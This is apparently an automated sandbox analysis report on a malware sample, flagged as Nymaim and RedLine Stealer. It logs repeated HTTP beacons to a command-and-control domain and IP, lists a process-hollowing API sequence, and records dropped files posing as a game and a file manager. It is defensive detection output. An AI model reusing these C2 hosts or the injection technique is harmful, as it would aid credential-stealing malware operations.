Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic

DNS traffic detected: DNS query: boietuj.com

Source: altergame32.exe, 00000006.00000002.3049178628.0000000003756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/s
Source: altergame32.exe, 00000006.00000002.3047839093.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049094019.00000000036D2000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3047839093.0000000000A82000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3047839093.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958
Source: altergame32.exe, 00000006.00000002.3047839093.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d
Source: altergame32.exe, 00000006.00000002.3049178628.0000000003756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/search/?q~w
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://freecommander.com/chm/FreeCommanderXE_chm_de.zip
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://freecommander.com/chm/FreeCommanderXE_chm_en.zip
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://freecommander.com/en/downloads/
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://www.forum.freecommander.com/viewtopic.php?f=6&t=775
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://www.freecommander.com/fchelpxe/de/FreeCommander.html
Source: altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: http://www.freecommander.com/fchelpxe/en/FreeCommander.html
Source: NqISs1vOr.tmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	String found in binary or memory: http://www.innosetup.com/
Source: NqISs1vOr.exe, 00000002.00000003.1902294048.0000000002188000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1902059776.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: NqISs1vOr.exe, 00000002.00000003.1902294048.0000000002188000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1902059776.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: altergame32.exe, 00000006.00000000.1928604067.00000000004CB000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	String found in binary or memory: https://code.google.com/p/ddab-lib/issues/list
Source: NqISs1vOr.exe, 00000002.00000003.1901672648.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1901741426.0000000002181000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000002.3047882008.0000000002181000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000003.1904023339.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3047892256.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000003.1904097648.0000000002228000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3048327976.0000000002228000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.easycutstudio.com/support.html

Source: is-28G11.tmp.3.dr

Binary or memory string: DirectDrawCreateEx

memstr_62e4b824-d

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 0.2.file.exe.6315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00630110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_00630110
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0042F518 NtdllDefWindowProc_A,	3_2_0042F518
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00423B7C NtdllDefWindowProc_A,	3_2_00423B7C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00478554 NtdllDefWindowProc_A,	3_2_00478554
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004125D0 NtdllDefWindowProc_A,	3_2_004125D0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004573B4 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	3_2_004573B4

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_0042E92C: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

3_2_0042E92C

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		2_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004555B8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		3_2_004555B8

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410C08	0_2_00410C08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004120D1	0_2_004120D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004090FE	0_2_004090FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410180	0_2_00410180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004106C4	0_2_004106C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00411300	0_2_00411300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409FA0	0_2_00409FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064604E	0_2_0064604E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063F82C	0_2_0063F82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00635910	0_2_00635910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00641260	0_2_00641260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00635910	0_2_00635910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063F4EA	0_2_0063F4EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006346E0	0_2_006346E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063BFF0	0_2_0063BFF0
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_0040840C	2_2_0040840C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00480002	3_2_00480002
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004704C8	3_2_004704C8
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004671CC	3_2_004671CC
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004352C0	3_2_004352C0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00486140	3_2_00486140
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00430354	3_2_00430354
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004444C0	3_2_004444C0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004345BC	3_2_004345BC
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00444A68	3_2_00444A68
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00430EE0	3_2_00430EE0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0045EEEC	3_2_0045EEEC
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0045AF94	3_2_0045AF94
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004870A0	3_2_004870A0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00445160	3_2_00445160
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0046922C	3_2_0046922C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0048D400	3_2_0048D400
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0044556C	3_2_0044556C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00451990	3_2_00451990
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0043DD48	3_2_0043DD48
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_00401051	6_2_00401051
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_00401C26	6_2_00401C26
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_004070A7	6_2_004070A7
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609660FA	6_2_609660FA
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6092114F	6_2_6092114F
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6091F2C9	6_2_6091F2C9
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096923E	6_2_6096923E
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6093323D	6_2_6093323D
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095C314	6_2_6095C314
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60950312	6_2_60950312
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094D33B	6_2_6094D33B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6093B368	6_2_6093B368
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096748C	6_2_6096748C
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6093F42E	6_2_6093F42E
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60954470	6_2_60954470
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609615FA	6_2_609615FA
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096A5EE	6_2_6096A5EE
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096D6A4	6_2_6096D6A4
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609606A8	6_2_609606A8
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60932654	6_2_60932654
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60955665	6_2_60955665
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094B7DB	6_2_6094B7DB
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6092F74D	6_2_6092F74D
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60964807	6_2_60964807
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094E9BC	6_2_6094E9BC
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60937929	6_2_60937929
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6093FAD6	6_2_6093FAD6
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096DAE8	6_2_6096DAE8
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094DA3A	6_2_6094DA3A
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60936B27	6_2_60936B27
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60954CF6	6_2_60954CF6
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60950C6B	6_2_60950C6B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60966DF1	6_2_60966DF1
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60963D35	6_2_60963D35
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60909E9C	6_2_60909E9C
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60951E86	6_2_60951E86
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60912E0B	6_2_60912E0B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60954FF8	6_2_60954FF8
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E5E24D	6_2_02E5E24D
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E4F079	6_2_02E4F079
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E64EE9	6_2_02E64EE9
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E5E665	6_2_02E5E665
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E62E74	6_2_02E62E74
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E59F44	6_2_02E59F44
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E5ACFA	6_2_02E5ACFA
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E5DD59	6_2_02E5DD59
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E58503	6_2_02E58503
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E7BF80	6_2_02E7BF80
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E7BF31	6_2_02E7BF31
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E7B4E5	6_2_02E7B4E5

Source: Joe Sandbox View

Dropped File: C:\ProgramData\EShineEncoder\sqlite3.dll 16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 0040595C appears 116 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00403400 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00406AB4 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00445DCC appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 004344D4 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 0044609C appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00408BFC appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00457D3C appears 73 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00403494 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 004078E4 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00453318 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00457B30 appears 94 times
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: String function: 00403684 appears 221 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0063B0C0 appears 34 times
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: String function: 02E58BA0 appears 37 times
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: String function: 02E653F0 appears 139 times

Source: NqISs1vOr.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: ONE[1].file.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: NqISs1vOr.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: NqISs1vOr.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: NqISs1vOr.tmp.2.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: altergame32.exe.3.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: altergame32.exe.3.dr	Static PE information: Resource name: RT_RCDATA type: Delphi compiled form 'TfcDlgArchiveVolumeRequest'
Source: altergame32.exe.3.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
Source: is-CUGJK.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-CUGJK.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-CUGJK.tmp.3.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
